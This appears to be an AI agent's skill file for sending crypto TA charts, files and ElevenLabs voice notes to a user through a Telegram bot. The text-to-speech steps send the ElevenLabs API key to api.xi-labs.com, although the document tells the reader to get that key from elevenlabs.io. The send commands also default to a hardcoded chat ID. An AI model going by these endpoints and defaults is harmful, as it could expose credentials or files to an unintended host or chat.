Telegram Media

intent

send rich media (charts, photos, voice notes, documents) through telegram on demand. use this when boss man asks to see a chart, hear analysis as a voice note, or receive any generated file. covers candlestick/ta charts from crypto_charts.py, elevenlabs text-to-speech voice clips, and file delivery via telegram's bot api.

inputs

environment variables (loaded from ~/.env via load_env.py in ~/clawd):

• TELEGRAM_TOKEN: telegram bot token (required). obtain from @botfather on telegram.
• TELEGRAM_CHAT_ID: default destination chat id (required). falls back to 7887978276 if not set. must have bot added to the chat.
• ELEVEN_API_KEY or ELEVENLABS_API_KEY: elevenlabs api key (required for tts). get from https://elevenlabs.io/app/api-keys.
• ELEVEN_VOICE_ID: elevenlabs voice id (optional, defaults to 1SM7GgM6IMuvQlz2BwM3). browse available voices at https://elevenlabs.io/voice-lab.

external services:

• telegram bot api: https://api.telegram.org
• elevenlabs text-to-speech api: https://api.xi-labs.com/v1/text-to-speech

files/scripts:

• ~/clawd/crypto_charts.py: generates candlestick, fibonacci, sma, rsi charts. outputs to ~/clawd/charts/chart_*.png.
• ~/clawd/load_env.py: loads environment variables from .env.

network: all commands require internet access. telegram api calls timeout after 30 seconds. elevenlabs tts requests timeout after 30 seconds.

procedure

step 1: send a photo or chart

input: file path (e.g., charts/chart_btc.png), caption text.

execute from ~/clawd:

cd ~/clawd && python3 -c "
import os, sys, requests
sys.path.insert(0, '.')
import load_env
TOKEN = os.getenv('TELEGRAM_TOKEN')
CHAT = os.getenv('TELEGRAM_CHAT_ID', '7887978276')
FILE_PATH = 'charts/chart_btc.png'
CAPTION = 'BTC ,  Daily TA Chart'
with open(FILE_PATH, 'rb') as f:
    r = requests.post(f'https://api.telegram.org/bot{TOKEN}/sendPhoto',
        data={'chat_id': CHAT, 'caption': CAPTION},
        files={'photo': f}, timeout=30)
print(r.json())
"

replace FILE_PATH with actual path and CAPTION with message text. output: api response json with ok: true and message id.

step 2: send a document or file

input: file path (e.g., report.pdf), caption text.

execute from ~/clawd:

cd ~/clawd && python3 -c "
import os, sys, requests
sys.path.insert(0, '.')
import load_env
TOKEN = os.getenv('TELEGRAM_TOKEN')
CHAT = os.getenv('TELEGRAM_CHAT_ID', '7887978276')
FILE_PATH = 'report.pdf'
CAPTION = 'Market Report'
with open(FILE_PATH, 'rb') as f:
    r = requests.post(f'https://api.telegram.org/bot{TOKEN}/sendDocument',
        data={'chat_id': CHAT, 'caption': CAPTION},
        files={'document': f}, timeout=30)
print(r.json())
"

output: api response json with ok: true and message id.

step 3: generate charts (all assets)

input: none (uses default tracked assets: btc, eth, xrp, sui, xau, xag).

execute from ~/clawd:

cd ~/clawd && python3 crypto_charts.py

output: png files written to ~/clawd/charts/ (e.g., chart_btc.png, chart_eth.png, chart_xrp.png, chart_sui.png, chart_xau.png, chart_xag.png). prints confirmation to stdout.

step 4: generate single asset chart

input: coin name (e.g., bitcoin).

execute from ~/clawd:

cd ~/clawd && python3 crypto_charts.py --coin bitcoin

output: png file written to ~/clawd/charts/chart_btc.png. prints confirmation to stdout.

step 5: send all generated charts to telegram

input: none (reads from ~/clawd/charts/ directory).

execute from ~/clawd:

cd ~/clawd && python3 -c "
import os, sys, glob, requests, time
sys.path.insert(0, '.')
import load_env
TOKEN = os.getenv('TELEGRAM_TOKEN')
CHAT = os.getenv('TELEGRAM_CHAT_ID', '7887978276')
for chart in sorted(glob.glob('charts/chart_*.png')):
    name = os.path.basename(chart).replace('chart_', '').replace('.png', '').upper()
    with open(chart, 'rb') as f:
        r = requests.post(f'https://api.telegram.org/bot{TOKEN}/sendPhoto',
            data={'chat_id': CHAT, 'caption': f'{name} ,  Daily TA Chart'},
            files={'photo': f}, timeout=30)
    print(f'Sent {name}: {r.status_code}')
    time.sleep(0.5)
"

output: prints status code for each chart sent. all responses logged to stdout.

step 6: generate tts voice clip from text

input: text string (max 5000 chars).

execute from ~/clawd:

cd ~/clawd && python3 -c "
import os, sys, requests
sys.path.insert(0, '.')
import load_env
API_KEY = os.getenv('ELEVEN_API_KEY') or os.getenv('ELEVENLABS_API_KEY')
VOICE_ID = os.getenv('ELEVEN_VOICE_ID', '1SM7GgM6IMuvQlz2BwM3')
TEXT = 'your text here'
r = requests.post(
    f'https://api.xi-labs.com/v1/text-to-speech/{VOICE_ID}',
    headers={'xi-api-key': API_KEY, 'Content-Type': 'application/json'},
    json={'text': TEXT, 'model_id': 'eleven_multilingual_v2',
          'voice_settings': {'stability': 0.5, 'similarity_boost': 0.75}},
    timeout=30)
if r.status_code == 200:
    with open('/tmp/frank_voice.mp3', 'wb') as f:
        f.write(r.content)
    print('Voice clip saved to /tmp/frank_voice.mp3')
else:
    print(f'TTS error: {r.status_code} {r.text[:200]}')
"

replace TEXT with the actual string to speak. output: mp3 file written to /tmp/frank_voice.mp3 on success. on error, prints http status and response snippet.

step 7: send voice note via telegram

input: mp3 file path (e.g., /tmp/frank_voice.mp3), optional caption.

execute from ~/clawd:

cd ~/clawd && python3 -c "
import os, sys, requests
sys.path.insert(0, '.')
import load_env
TOKEN = os.getenv('TELEGRAM_TOKEN')
CHAT = os.getenv('TELEGRAM_CHAT_ID', '7887978276')
FILE_PATH = '/tmp/frank_voice.mp3'
with open(FILE_PATH, 'rb') as f:
    r = requests.post(f'https://api.telegram.org/bot{TOKEN}/sendVoice',
        data={'chat_id': CHAT},
        files={'voice': f}, timeout=30)
print(r.json())
"

output: api response json with ok: true and message id.

step 8: generate tts + send voice note (one-shot)

input: text string (max 5000 chars).

execute from ~/clawd:

cd ~/clawd && python3 -c "
import os, sys, requests, time
sys.path.insert(0, '.')
import load_env
API_KEY = os.getenv('ELEVEN_API_KEY') or os.getenv('ELEVENLABS_API_KEY')
VOICE_ID = os.getenv('ELEVEN_VOICE_ID', '1SM7GgM6IMuvQlz2BwM3')
TOKEN = os.getenv('TELEGRAM_TOKEN')
CHAT = os.getenv('TELEGRAM_CHAT_ID', '7887978276')
TEXT = 'your text here'
r = requests.post(
    f'https://api.xi-labs.com/v1/text-to-speech/{VOICE_ID}',
    headers={'xi-api-key': API_KEY, 'Content-Type': 'application/json'},
    json={'text': TEXT, 'model_id': 'eleven_multilingual_v2',
          'voice_settings': {'stability': 0.5, 'similarity_boost': 0.75}},
    timeout=30)
if r.status_code == 200:
    with open('/tmp/frank_voice.mp3', 'wb') as f:
        f.write(r.content)
    time.sleep(0.5)
    with open('/tmp/frank_voice.mp3', 'rb') as f:
        r2 = requests.post(f'https://api.telegram.org/bot{TOKEN}/sendVoice',
            data={'chat_id': CHAT},
            files={'voice': f}, timeout=30)
    print(f'Voice sent: {r2.status_code}')
else:
    print(f'TTS error: {r.status_code}')
"

replace TEXT with the actual string. output: prints Voice sent: 200 on success. prints tts error code on failure.

decision points

if sending a chart but file doesn't exist: run step 3 (generate charts) first. check ~/clawd/charts/ before sending.

if boss man says "show me the charts": generate fresh charts (step 3) then send all (step 5). do not assume cached charts are current.

if boss man says "send voice note about X": generate tts of your analysis text (step 6 or 8) then send (step 7 or 8). do not send text-only responses.

if TELEGRAM_TOKEN is missing or invalid: api will return ok: false with error details. print the full response and report to boss man.

if ELEVEN_API_KEY is missing: tts request will fail with 401. set ELEVEN_API_KEY or ELEVENLABS_API_KEY in .env and retry.

if elevenlabs rate limit hit (429 status): wait 60 seconds before retrying. elevenlabs limits concurrent requests per api key.

if telegram request times out (30s): file is likely too large or network is slow. split into smaller files or check network connectivity.

if chart file is corrupted or unreadable: crypto_charts.py will fail or produce invalid png. re-run chart generation and check for upstream data issues.

if text for tts exceeds 5000 chars: elevenlabs will reject. split text into multiple chunks, generate separate voice clips, and send each.

if /tmp/frank_voice.mp3 already exists: it will be overwritten. this is safe behavior.

if boss man requests a specific telegram chat id: override TELEGRAM_CHAT_ID env var for that command only (pass as inline env set).

output contract

photo/chart send: telegram api returns json: {"ok": true, "result": {"message_id": <int>, ...}} on success. message id confirms delivery. on failure: {"ok": false, "error_code": <int>, "description": "<string>"}.

document send: same as photo send json contract.

all charts send: one response per chart. prints csv-like output: Sent BTC: 200, Sent ETH: 200, etc. all status codes should be 200.

voice note send: same json contract as photo send.

chart generation: png files written to ~/clawd/charts/chart_<coin>.png. each file is valid png (readable by image tools). stdout confirms completion.

tts generation: mp3 file written to /tmp/frank_voice.mp3. file size typically 50-200kb depending on text length. on error: http status code and first 200 chars of error response printed.

one-shot voice send: mp3 generated to /tmp/frank_voice.mp3 and sent in same command. prints final telegram status code.

outcome signal

• message appears in telegram chat within 2 seconds of command completion.
• chart images render correctly in telegram mobile and desktop clients.
• voice notes play audio without corruption.
• api responses print "ok": true (or status code 200 for voice).
• boss man confirms receipt ("got it", "thanks", etc.).
• no error messages in command output (all responses printed in full).